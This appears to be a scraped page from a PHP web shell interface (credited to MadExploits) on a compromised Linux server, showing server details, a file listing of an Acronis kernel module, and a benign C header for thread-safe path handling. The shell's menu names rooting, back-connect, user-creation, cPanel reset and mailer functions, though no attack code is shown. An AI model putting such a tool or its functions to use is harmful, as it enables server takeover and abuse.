Linux eyewebsolution.dnshostserver.in 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Apache
: 185.131.55.234 | : 216.73.216.138
674 Domain
5.6.40
omxrelocation
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
src /
file_protector-1.1-1524 /
transport /
[ HOME SHELL ]
Name
Size
Permission
Action
device.c
1.18
KB
-rw-r--r--
device.h
257
B
-rw-r--r--
exit_event.c
1.23
KB
-rw-r--r--
exit_event.h
352
B
-rw-r--r--
fork_event.c
946
B
-rw-r--r--
fork_event.h
403
B
-rw-r--r--
fs_event.c
19.89
KB
-rw-r--r--
fs_event.h
1.92
KB
-rw-r--r--
message.c
13.12
KB
-rw-r--r--
message.h
3.77
KB
-rw-r--r--
ring.h
2.29
KB
-rw-r--r--
set.h
1.86
KB
-rw-r--r--
thread_safe_path.h
2.28
KB
-rw-r--r--
transport.c
50.01
KB
-rw-r--r--
transport.h
2.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : thread_safe_path.h
/** @file thread_safe_path.h @brief Thread safe accessor to the 'struct path' @details Copyright (c) 2022 Acronis International GmbH @author Denis Kopyrin (denis.kopyrin@acronis.com) @since $Id: $ */ #pragma once #include <linux/path.h> #include <linux/spinlock.h> #include <linux/types.h> // bool, [u]int(8|16|32|64)_t, pid_t, size_t // This structure is made to avoid the limitations of 'struct path' // It is only allowed to call 'path_put' and 'path_get' in the same // thread. // With this limitation it is not allowed to just use ref counting // and there must be an explicit 'path_put' from the same thread // that had 'struct path' created. typedef struct { spinlock_t spinlock; struct path path; } thread_safe_path_t; static inline void thread_safe_path_init(thread_safe_path_t *sp) { spin_lock_init(&sp->spinlock); sp->path = (struct path){}; } // No 'deinit', caller must explicitly invoke 'thread_safe_path_clear' as 'thread_safe_path_store_*' // Performs 'move' semantic and write directly to the 'path' assuming it is empty currently static inline void thread_safe_path_store_move_directly(thread_safe_path_t *sp, struct path *newpath) { spin_lock(&sp->spinlock); sp->path = *newpath; *newpath = (struct path){}; spin_unlock(&sp->spinlock); } // Same as method above but uses 'copy' semantics instead static inline void thread_safe_path_store_copy_directly(thread_safe_path_t *sp, const struct path *newpath) { spin_lock(&sp->spinlock); sp->path = *newpath; path_get(&sp->path); spin_unlock(&sp->spinlock); } // Clears the path stored, must be called from the same thread as 'thread_safe_path_store_*' static inline void thread_safe_path_clear(thread_safe_path_t *sp) { struct path cleared_path; spin_lock(&sp->spinlock); cleared_path = sp->path; sp->path = (struct path){}; spin_unlock(&sp->spinlock); // 'path_put' might sleep, do NOT call inside the 'spin_lock' path_put(&cleared_path); } // Loads the path from 'thread_safe_path'. Must be 'path_put' after use in the same thread. static inline void thread_safe_path_load(thread_safe_path_t *sp, struct path *to) { spin_lock(&sp->spinlock); *to = sp->path; // 'path_get' can be safely called under the 'spin_lock'. // It is the only place where 'path_get' can be reliable get path_get(to); spin_unlock(&sp->spinlock); }
Close